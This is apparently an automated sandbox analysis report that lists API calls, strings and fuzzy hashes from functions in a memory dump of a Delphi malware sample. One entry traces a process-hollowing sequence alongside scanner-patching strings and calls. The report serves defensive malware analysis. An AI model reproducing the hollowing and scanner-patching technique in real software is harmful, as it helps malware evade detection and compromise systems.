Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 150725a5a679f9a9fe0464c4080aeb867bcba5bf433aad586da81e7e35f815b3
Instruction ID: 989a19540834919433ddafcea10c09eb1e601893f8e5070e73e2e6f6d96fb889
Opcode Fuzzy Hash: 150725a5a679f9a9fe0464c4080aeb867bcba5bf433aad586da81e7e35f815b3
Instruction Fuzzy Hash: B0F049F07107004FDB15EF7EA994301BBE6E789385F24813DE609DB388E77994018B10

Uniqueness

Uniqueness Score: -1.00%

Function 032B171E Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,032B205D), ref: 032B1740

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 292d4e304001cc057f5ce5ba01cc78b57262ef6da8f78170d842727feb528d3d
Instruction ID: 7dbf4eda5ca9e1ed776beacf7431103ae99eacb2ad8ef40a78952859ff108d75
Opcode Fuzzy Hash: 292d4e304001cc057f5ce5ba01cc78b57262ef6da8f78170d842727feb528d3d
Instruction Fuzzy Hash: 8CF09AB6A00B556BD3209E5E9CC0B82BBA8FB117A0F050239FA089B344D7B1A8508BD4

Uniqueness

Uniqueness Score: -1.00%

Function 032B1782 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 032B17A0

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: bd1ec9eac06c9e1fe8901bf8c25d856a26f75ed5687c72466345e704ca103aed
Instruction ID: b3cb0cdd21b88d8d771555c78457779d2c25911899413bde46e520e0b63c1d21
Opcode Fuzzy Hash: bd1ec9eac06c9e1fe8901bf8c25d856a26f75ed5687c72466345e704ca103aed
Instruction Fuzzy Hash: C5E04F753203016FD7109A794C90B53AAE8EB457D1F284565F641DB241D7B0F85087A0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03308838 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,03308ABF,?,?,03308B51,00000000,03308C2D), ref: 0330884C
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 03308864
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 03308876
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 03308888
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0330889A
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 033088AC
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 033088BE
GetProcAddress.KERNEL32(00000000,Process32First), ref: 033088D0
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 033088E2
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 033088F4
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 03308906
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 03308918
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0330892A
GetProcAddress.KERNEL32(00000000,Module32First), ref: 0330893C
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0330894E
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 03308960
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 03308972

Strings

Module32Next, xrefs: 03308946
Process32FirstW, xrefs: 033088EC
Process32First, xrefs: 033088C8
Thread32First, xrefs: 03308910
Module32FirstW, xrefs: 03308958
CreateToolhelp32Snapshot, xrefs: 0330885C
Heap32Next, xrefs: 033088A4
Heap32ListFirst, xrefs: 0330886E
Module32First, xrefs: 03308934
Process32Next, xrefs: 033088DA
Thread32Next, xrefs: 03308922
Process32NextW, xrefs: 033088FE
kernel32.dll, xrefs: 03308847
Module32NextW, xrefs: 0330896A
Heap32ListNext, xrefs: 03308880
Toolhelp32ReadProcessMemory, xrefs: 033088B6
Heap32First, xrefs: 03308892

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 86b1fa445c1ce27fa6b0d7b6af330337ea9b5261cc8a48b08b9d58393abc083f
Instruction ID: a954cdf40d5ed1f20b6bafbbad1d9a0e2c411dc8025e1fab10f5c7eda0f090da
Opcode Fuzzy Hash: 86b1fa445c1ce27fa6b0d7b6af330337ea9b5261cc8a48b08b9d58393abc083f
Instruction Fuzzy Hash: 083107B5A11750AFDF48FBB4D8E6AA937B8EB09740F004561F065EF24AD2B48880CF16

Uniqueness

Uniqueness Score: -1.00%

Function 032F7040 Relevance: 49.1, APIs: 15, Strings: 13, Instructions: 95libraryloaderCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008000), ref: 032F7059
GetModuleHandleA.KERNEL32(USER32,00000000,032F71A6,?,00008000), ref: 032F707D
GetProcAddress.KERNEL32(00000000,WINNLSEnableIME), ref: 032F708A
LoadLibraryA.KERNEL32(imm32.dll,00000000,032F71A6,?,00008000), ref: 032F70A6
GetProcAddress.KERNEL32(00000000,ImmGetContext), ref: 032F70C8
GetProcAddress.KERNEL32(00000000,ImmReleaseContext), ref: 032F70DD
GetProcAddress.KERNEL32(00000000,ImmGetConversionStatus), ref: 032F70F2
GetProcAddress.KERNEL32(00000000,ImmSetConversionStatus), ref: 032F7107
GetProcAddress.KERNEL32(00000000,ImmSetOpenStatus), ref: 032F711C
GetProcAddress.KERNEL32(00000000,ImmSetCompositionWindow), ref: 032F7131
GetProcAddress.KERNEL32(00000000,ImmSetCompositionFontA), ref: 032F7146
GetProcAddress.KERNEL32(00000000,ImmGetCompositionStringA), ref: 032F715B
GetProcAddress.KERNEL32(00000000,ImmIsIME), ref: 032F7170
GetProcAddress.KERNEL32(00000000,ImmNotifyIME), ref: 032F7185
SetErrorMode.KERNEL32(?,032F71AD,00008000), ref: 032F71A0

Strings

ImmReleaseContext, xrefs: 032F70D2
ImmSetCompositionFontA, xrefs: 032F713B
USER32, xrefs: 032F7078
ImmGetConversionStatus, xrefs: 032F70E7
ImmNotifyIME, xrefs: 032F717A
imm32.dll, xrefs: 032F70A1
ImmSetCompositionWindow, xrefs: 032F7126
ImmSetOpenStatus, xrefs: 032F7111
ImmGetContext, xrefs: 032F70BD
WINNLSEnableIME, xrefs: 032F7084
ImmSetConversionStatus, xrefs: 032F70FC
ImmGetCompositionStringA, xrefs: 032F7150
ImmIsIME, xrefs: 032F7165

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressProc$ErrorMode$HandleLibraryLoadModule
String ID: ImmGetCompositionStringA$ImmGetContext$ImmGetConversionStatus$ImmIsIME$ImmNotifyIME$ImmReleaseContext$ImmSetCompositionFontA$ImmSetCompositionWindow$ImmSetConversionStatus$ImmSetOpenStatus$USER32$WINNLSEnableIME$imm32.dll
API String ID: 3397921170-3950384806
Opcode ID: b8ea0b0f01905477398549f48762f582577f768bc70b112c70165d84075dd70b
Instruction ID: 00793e46725d50ce741e565a6327dc6281d77a4e488e3db0c54270408c23e6be
Opcode Fuzzy Hash: b8ea0b0f01905477398549f48762f582577f768bc70b112c70165d84075dd70b
Instruction Fuzzy Hash: 0731ED75660344AFEB08FFA9E8D696AB7FCE744780F008465F6159B60AE7B498C4CF10

Uniqueness

Uniqueness Score: -1.00%

Function 032D4F94 Relevance: 48.5, APIs: 32, Instructions: 500windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(00000000,00000054,?), ref: 032D5014
GetDC.USER32(00000000), ref: 032D5025
CreateCompatibleDC.GDI32(00000000), ref: 032D5036
CreateBitmap.GDI32(00000000,?,00000001,00000001,00000000), ref: 032D5082
CreateCompatibleBitmap.GDI32(00000028,00000000,?), ref: 032D50A6
SelectObject.GDI32(?,?), ref: 032D5303
SelectPalette.GDI32(?,00000000,00000000), ref: 032D5343
RealizePalette.GDI32(?), ref: 032D534F
SetTextColor.GDI32(?,00000000), ref: 032D53B8
SetBkColor.GDI32(?,00000000), ref: 032D53D2
SetDIBColorTable.GDI32(?,00000000,00000002,?,?,00000000,?,00000000,00000000,032D5560,?,00000000,032D5582,?,00000000,032D5593), ref: 032D541A
FillRect.USER32(?,?,00000000), ref: 032D53A0

Part of subcall function 032D1D04: GetSysColor.USER32(?), ref: 032D1D0E

PatBlt.GDI32(?,00000000,00000000,?,?,00FF0062), ref: 032D543C
CreateCompatibleDC.GDI32(00000028), ref: 032D544F
SelectObject.GDI32(?,00000000), ref: 032D5472
SelectPalette.GDI32(?,00000000,00000000), ref: 032D548E
RealizePalette.GDI32(?), ref: 032D5499
SetTextColor.GDI32(?,00000000), ref: 032D54B7
SetBkColor.GDI32(?,00000000), ref: 032D54D1
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 032D54F9
SelectPalette.GDI32(?,00000000,000000FF), ref: 032D550B
SelectObject.GDI32(?,00000000), ref: 032D5515
DeleteDC.GDI32(?), ref: 032D5530

Part of subcall function 032D2AC0: CreateBrushIndirect.GDI32(?), ref: 032D2B6B

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: ColorSelect$CreatePalette$Object$Compatible$BitmapRealizeText$BrushDeleteFillIndirectRectTable
String ID:
API String ID: 1299887459-0
Opcode ID: afa72441bce9856466aeedbe3c89418ac6ea2e7f86f4bf0457d9ec248bc6ecb7
Instruction ID: 21d91473af0863eb85293616927e6c818f6b755fb138172df81ded6805ad3500
Opcode Fuzzy Hash: afa72441bce9856466aeedbe3c89418ac6ea2e7f86f4bf0457d9ec248bc6ecb7
Instruction Fuzzy Hash: 6B12F975A20209AFDB11EFA8C884F9EB7F9EF09350F558455F918EB291C7B4E980CB50

Uniqueness

Uniqueness Score: -1.00%

Function 032D7E64 Relevance: 43.5, APIs: 8, Strings: 16, Instructions: 1478nativethreadprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 032CFD40: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD78
Part of subcall function 032CFD40: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD86
Part of subcall function 032CFD40: GetProcAddress.KERNEL32(74F60000,00000000), ref: 032CFD9F
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDBB
Part of subcall function 032CFD40: NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDC1
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDEB
Part of subcall function 032CFD40: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDF1
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000), ref: 032CFDFA
Part of subcall function 032CFD40: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000), ref: 032CFE00
Part of subcall function 032CFD40: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000), ref: 032CFE0B

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,03330408,033303F8,OpenSession,033303D0,032D9728,ScanString,033303D0), ref: 032D82F1
GetThreadContext.KERNEL32(00000000,0333044C,ScanString,033303D0,032D9728,UacInitialize,033303D0,032D9728,ScanBuffer,033303D0,032D9728,ScanBuffer,033303D0,032D9728,OpenSession,033303D0), ref: 032D85E6
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,-00000008,03330520,00000004,03330528,ScanBuffer,033303D0,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,UacScan,033303D0), ref: 032D8843
NtUnmapViewOfSection.N(00000000,?,ScanBuffer,033303D0,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,00000000,-00000008,03330520,00000004,03330528), ref: 032D89BE

Part of subcall function 032CFB88: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 032CFB95
Part of subcall function 032CFB88: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 032CFB9B
Part of subcall function 032CFB88: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 032CFBBB

NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,03330528,ScanBuffer,033303D0,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,ScanBuffer,033303D0), ref: 032D8FA1
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,-00000008,03330524,00000004,03330528,ScanBuffer,033303D0,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,00000000,00000000), ref: 032D9114
SetThreadContext.KERNEL32(00000000,0333044C,ScanBuffer,033303D0,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,00000000,-00000008,03330524,00000004,03330528), ref: 032D928A
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,0333044C,ScanBuffer,033303D0,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,00000000,-00000008,03330524), ref: 032D9297

Part of subcall function 032CFCE0: LoadLibraryW.KERNEL32(bcrypt,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,UacScan,033303D0,032D9728,UacInitialize,033303D0,032D9728,00000000,0333044C), ref: 032CFCF2
Part of subcall function 032CFCE0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 032CFCFF
Part of subcall function 032CFCE0: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,UacScan), ref: 032CFD16
Part of subcall function 032CFCE0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,032D9728,ScanString,033303D0,032D9728,Initialize,033303D0,032D9728,UacScan,033303D0,032D9728,UacInitialize,033303D0), ref: 032CFD25

Strings

NtSetSecurityObject, xrefs: 032D95CF
I_QueryTagInformation, xrefs: 032D95BB
UacScan, xrefs: 032D7F0E, 032D8126, 032D866B, 032D8A67, 032D8BDB, 032D9314
BCryptRegisterProvider, xrefs: 032D950E
ScanBuffer, xrefs: 032D7E9D, 032D7F67, 032D7FEF, 032D83E3, 032D8485, 032D87BE, 032D8945, 032D8AD8, 032D8D61, 032D8F1F, 032D908F, 032D9202, 032D93F6, 032D965B
bcrypt, xrefs: 032D94EB, 032D94FF, 032D9513
ScanString, xrefs: 032D8048, 032D81DE, 032D8567, 032D874D, 032D88D4, 032D8CF0, 032D8EAE, 032D901E, 032D9191, 032D947C, 032D9529
Initialize, xrefs: 032D817F, 032D86DC, 032D8863, 032D8C4C, 032D8E3D, 032D8FAD, 032D9120, 032D9385
advapi32, xrefs: 032D95C0
NtOpenObjectAuditAlarm, xrefs: 032D95A7
ntdll, xrefs: 032D9598, 032D95AC, 032D95D4
UacInitialize, xrefs: 032D80CD, 032D8301, 032D84F6, 032D85FA, 032D89F6, 032D8B6A, 032D92A3
BCryptVerifySignature, xrefs: 032D94E6
NtReadVirtualMemory, xrefs: 032D9593
OpenSession, xrefs: 032D824F, 032D8372, 032D95EA
BCryptQueryProviderRegistration, xrefs: 032D94FA

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: MemoryVirtual$LibraryProcessWrite$AddressCurrentProcThread$ContextFreeHandleLoadModule$AllocateCacheCreateFlushInstructionProtectReadResumeSectionUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$ntdll
API String ID: 3001626006-1058128293
Opcode ID: 678d7968992d7a3460673fa9f52e32e44e064f8ad559b88b05a7a94403a0acb9
Instruction ID: 4bd27d006e4f883d8ddaf7fdd4c4726a668c72e55006c8e6e9e1438550ff325d
Opcode Fuzzy Hash: 678d7968992d7a3460673fa9f52e32e44e064f8ad559b88b05a7a94403a0acb9
Instruction Fuzzy Hash: 02D21D79A202189FDB15FB65DDD0BCEB3B9AF44740F1181A2E104AF216DBB1AEC58F44

Uniqueness

Uniqueness Score: -1.00%

Function 033031B4 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 405COMMON

Download Yara Rule

Strings

vcltest3.dll, xrefs: 033035B5
RegisterAutomation, xrefs: 033035D6

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID: RegisterAutomation$vcltest3.dll
API String ID: 0-2963190186
Opcode ID: 2251e7e25a31b0f6c3b6f6a1577c0e00cec3d1eba38d1263d8e41cca6a53691c
Instruction ID: 01f38cb532da6bc47e63f3df6076d69b6df4efa2f86064f8bd1c476eb61ab0f8
Opcode Fuzzy Hash: 2251e7e25a31b0f6c3b6f6a1577c0e00cec3d1eba38d1263d8e41cca6a53691c
Instruction Fuzzy Hash: C8E14F3DA04204EFDB14DBA9C9E4A9EF7B5AF49361F1881E5E4459B7A1C734EE84CB00

Uniqueness

Uniqueness Score: -1.00%

Function 032B5C18 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,032B7A18,032B0000,0331A794), ref: 032B5C35
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 032B5C4C
lstrcpynA.KERNEL32(?,?,?), ref: 032B5C7C
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,032B7A18,032B0000,0331A794), ref: 032B5CE0
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,032B7A18,032B0000,0331A794), ref: 032B5D16
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,032B7A18,032B0000,0331A794), ref: 032B5D29
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,032B7A18,032B0000,0331A794), ref: 032B5D3B
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,032B7A18,032B0000,0331A794), ref: 032B5D47
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,032B7A18,032B0000), ref: 032B5D7B
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,032B7A18), ref: 032B5D87
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 032B5DA9

Strings

kernel32.dll, xrefs: 032B5C30
GetLongPathNameA, xrefs: 032B5C43
\, xrefs: 032B5D59

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 980d73ece5758f1adf3b4164e84bf712cd93b81a5b8db27408bc7cae6302f6b1
Instruction ID: f1d84881b6dc4974f126d8da1f2ed3edf056a6abd4f42859340214de243b5bc6
Opcode Fuzzy Hash: 980d73ece5758f1adf3b4164e84bf712cd93b81a5b8db27408bc7cae6302f6b1
Instruction Fuzzy Hash: B141A275D2066AAFDB10DEE8CC88ADFB3BDEF49380F1445A5A154DB240D770AED48B50

Uniqueness

Uniqueness Score: -1.00%

Function 032FFCF0 Relevance: 20.0, APIs: 13, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 0e96521bc7d61e2baa9f060a13760773cea95cf5f4dfbfd60000b1544d1f65ca
Instruction ID: e6b9a38934569b78719759192b50ecfe35d9ff2ef2b590a1af4c452d8ec3b3a3
Opcode Fuzzy Hash: 0e96521bc7d61e2baa9f060a13760773cea95cf5f4dfbfd60000b1544d1f65ca
Instruction Fuzzy Hash: 38021F39A14244EFDB55EBA8CAD4F9DB7F8AB04300F5941E0F504AB3A2D775AE80DB40

Uniqueness

Uniqueness Score: -1.00%

Function 032B5EE8 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 032B5EF8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 032B5F05
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 032B5F0B
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 032B5F36
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 032B5F7D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 032B5F8D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 032B5FB5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 032B5FC5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 032B5FEB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 032B5FFB

Strings

Software\Borland\Locales, xrefs: 032B5E0C, 032B5E2A
Software\Borland\Delphi\Locales, xrefs: 032B5E48

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 45fc842c7ee497589fb0a595117f7bdcb306d77cf451f18dfb781db247336ba0
Instruction ID: d8d77b2abaec448e52e3b6fb0cf959862133fe9b4c810bce088ac74bc9a21b7c
Opcode Fuzzy Hash: 45fc842c7ee497589fb0a595117f7bdcb306d77cf451f18dfb781db247336ba0
Instruction Fuzzy Hash: 55318675E2026D29FF26D5B8DC46BEEB7BC5B043C0F0845E19644EA181D6B49AD48B90

